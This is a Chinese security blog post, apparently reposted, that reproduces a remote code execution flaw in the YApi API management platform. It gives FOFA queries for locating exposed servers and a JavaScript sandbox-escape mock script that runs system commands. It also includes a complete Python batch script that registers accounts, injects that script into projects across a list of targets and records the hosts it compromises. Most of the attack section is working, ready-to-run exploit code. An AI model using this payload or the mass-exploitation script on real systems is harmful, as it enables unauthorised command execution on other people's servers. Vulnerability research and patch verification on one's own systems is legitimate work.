• 【漏洞复现】YApi接口管理平台远程代码执行漏洞(含批量POC)


    0x00简介

    YAPI是由去哪儿网移动架构组(简称YMFE,一群由FE、iOS和Android工程师共同组成的最具想象力、创造力和影响力的大前端团队)开发的可视化接口管理工具,是一个可本地部署的、打通前后端及QA的接口管理平台。YAPI旨在为开发、产品和测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布和维护不同项目,不同平台的API。有了YAPI,我们可以很方便的测试、管理和维护多个项目的API接口,不像Swagger那样是随应用生和灭的(且线上环境下大多数须关闭),YAPI是一个独立的服务平台。

    0x01漏洞描述

    YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问
    YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

    0x02影响版本

    YApi<=V1.92 All

    0x03FOFA语句

    icon_hash=”-715193973″
    app=”YApi”

    0x04漏洞复现

    1、进入网页注册一个用户
    在这里插入图片描述
    2、点击添加项目
    在这里插入图片描述
    3、输入项目名称之后点击创建项目
    在这里插入图片描述
    4、之后在全局mock脚本中写入以下POC并保存

    const sandbox = this
    const ObjectConstructor = this.constructor
    const FunctionConstructor = ObjectConstructor.constructor
    const myfun = FunctionConstructor('return process')
    const process = myfun()
    mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

    在这里插入图片描述
    5、之后在接口处填入内容并提交
    在这里插入图片描述
    6、点击接口名称
    在这里插入图片描述
    7、点击mock地址
    在这里插入图片描述
    8、命令执行成功
    在这里插入图片描述

    0x05批量POC

    import requests
    import urllib3
    import json
    import argparse
    
    parser = argparse.ArgumentParser(description="请输入目标地址")
    parser.add_argument('-u',type=str,help='请输入url',dest='url',default='')
    parser.add_argument('-f',type=str,help='请插入字典',dest='file',default='')
    args = parser.parse_args()
    Get_url = args.url
    Get_file = args.file
    
    def poc_1(get_url):
        if(get_url[-1]=='/'):
            get_url=get_url[:-1]
            print(get_url)
        Reg_url=get_url+"/api/user/reg"
        headers = {
            'Content-Type': 'application/json',
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
        }
        data={
            'email':'gua@qq.com',
            'password':'123456',
            'username':'Guatest'
        }
        try:
            urllib3.disable_warnings()
            Reg_res=requests.post(url=Reg_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
            if Reg_res.json()['errcode']==0:
                poc_2(get_url)
            else:
                print(get_url+"  "+Reg_res.text)
        except Exception as e:
            print(get_url+"  poc_1  请求出错")
    
    def poc_2(get_url):
        Login_url=get_url+"/api/user/login"
        headers = {
            'Content-Type': 'application/json',
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
        }
        data={
            'email':'gua@qq.com',
            'password':'123456'
        }
        try:
            Login_res=requests.post(url=Login_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
            Login_cookie=Login_res.headers['Set-Cookie'].split(';')[0]+";_yapi_uid="+str(Login_res.json()['data']['uid'])
            if Login_res.json()['errcode']==0:
                poc_3(get_url,Login_cookie)
            else:
                print("登陆失败")
        except Exception as e:
            print(get_url+"  poc_2  请求出错")
    
    def poc_3(get_url,Login_cookie):
        headers={
            'Content-Type': 'application/json',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
            'Cookie':Login_cookie
        }
        Get_id_url=get_url+"/api/group/list"
        try:
            Get_id_res=requests.get(url=Get_id_url,headers=headers,verify=False,timeout=10)
            G_id=str(Get_id_res.json()['data'][0]['_id'])
            if Get_id_res.json()['errcode']==0:
                poc_4(get_url,G_id,Login_cookie)
            else:
                print("获取group_id失败")
        except Exception as e:
            print(get_url+"  poc_3  请求出错")
    def poc_4(get_url,G_id,Login_cookie):
        NewProjecet_url=get_url+"/api/project/add"
        data={
            'name':'tes',
            'basepath':'',
            'group_id':G_id,
            'icon':'code-o',
            'color':'blue',
            'project_type':'private'
        }
        headers = {
            'Content-Type': 'application/json',
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
            'Cookie': Login_cookie
        }
        try:
            NewProjecet_res=requests.post(url=NewProjecet_url,headers=headers,data=json.dumps(data),verify=False,timeout=10)
            get_id=str(NewProjecet_res.json()['data']['_id'])
            if NewProjecet_res.json()['errcode']==0:
                poc_5(get_url,Login_cookie,get_id)
            else:
                print('创建目录失败失败')
        except Exception as e:
            print(get_url+"  poc_4  请求出错")
    def poc_5(get_url,Login_cookie,get_id):
        Mock_url=get_url+'/api/project/up'
        headers = {
            'Content-Type': 'application/json',
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
            'Cookie': Login_cookie
        }
        data={
            'id':get_id,
            'project_mock_script':"const sandbox = this
    const ObjectConstructor = this.constructor
    const FunctionConstructor = ObjectConstructor.constructor
    const myfun = FunctionConstructor('return process')
    const process = myfun()
    mockJson = process.mainModule.require("child_process").execSync("whoami").toString()",
            'is_mock_open':True
        }
        try:
            Mock_res=requests.post(url=Mock_url,headers=headers,verify=False,data=json.dumps(data),timeout=10)
            if Mock_res.json()['errcode']==0:
                poc_6(get_url, Login_cookie, get_id)
            else:
                print("mock创建失败")
        except Exception as e:
            print(get_url+"  poc_5   请求出错")
    def poc_6(get_url,Login_cookie,get_id):
        Cat_id_url=get_url+"/api/interface/list_menu?project_id="+str(get_id)
        headers = {
            'Content-Type': 'application/json',
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
            'Cookie': Login_cookie
        }
        try:
            Cat_id_res=requests.get(url=Cat_id_url,headers=headers,verify=False,timeout=10)
            Catid=Cat_id_res.json()['data'][0]['_id']
            poc_7(get_url,Login_cookie,get_id,Catid)
        except Exception as e:
            print(get_url+"  poc_6请求出错")
    def poc_7(get_url,Login_cookie,get_id,Catid):
        headers = {
            'Content-Type': 'application/json',
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
            'Cookie': Login_cookie
        }
        data={
            'method':'GET',
            'catid':Catid,
            'title':'guatest',
            'path':'/guatest',
            'project_id':get_id
        }
        port_add_url=get_url+"/api/interface/add"
        try:
            port_add_res=requests.post(url=port_add_url,data=json.dumps(data),headers=headers,verify=False,timeout=10)
            if port_add_res.json()['errcode']==0:
                poc_8(get_url,Login_cookie,get_id)
            else:
                print("接口创建失败")
        except Exception as e:
            print(get_url+"  poc_7   请求出错")
    def poc_8(get_url,Login_cookie,get_id):
        headers = {
            'Content-Type': 'application/json',
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
            'Cookie': Login_cookie
        }
        vuln_url=get_url+"/mock/"+str(get_id)+'/guatest'
        try:
            vuln_res=requests.get(url=vuln_url,headers=headers,verify=False,timeout=10)
            print(vuln_url+'  '+vuln_res.text)
            with open('success.txt', 'a+', encoding="utf-8") as s:
                s.write(get_url + '   '+vuln_res.text+'
    ')
        except Exception as e:
            print(get_url+"  poc_8   请求出错",e)
    def file():
        with open(args.file,'r+',encoding='utf-8') as f:
            for i in f.readlines():
                s = i.strip()
                if 'http://' in s:
                    poc_1(s)
                else:
                    exp1 = 'http://'+s
                    poc_1(exp1)
    if __name__ == '__main__':
        try:
            if Get_url != '' and Get_file == '':
                if 'http://' in Get_url:
                    poc_1(Get_url)
                else:
                    exp2 = 'http://' + Get_url
                    poc_1(exp2)
            elif Get_url == '' and Get_file != '':
                file()
        except KeyboardInterrupt:
            print("结束进程。。。。")
            pass

    转载请注明:Adminxe's Blog » YApi接口管理平台远程代码执行漏洞(含批量POC)

  • 相关阅读:
    [QML] Connections元素介绍
    Common Lisp语言快速入门
    DataGrid模板列取值问题
    DataGrid 中使用 复选框(CheckBox) 删除纪录
    SQL SELECT INTO
    SQL中Case的使用方法(上篇)
    SQL中Case的使用方法(下篇)
    C# ArrayList的用法
    关于 <customErrors> 标记的“mode”属性设置为“Off”的问题的解决方案
    SQL SERVER 中identity
  • 原文地址:https://www.cnblogs.com/cn-gov/p/14995379.html
Copyright © 2020-2023  润新知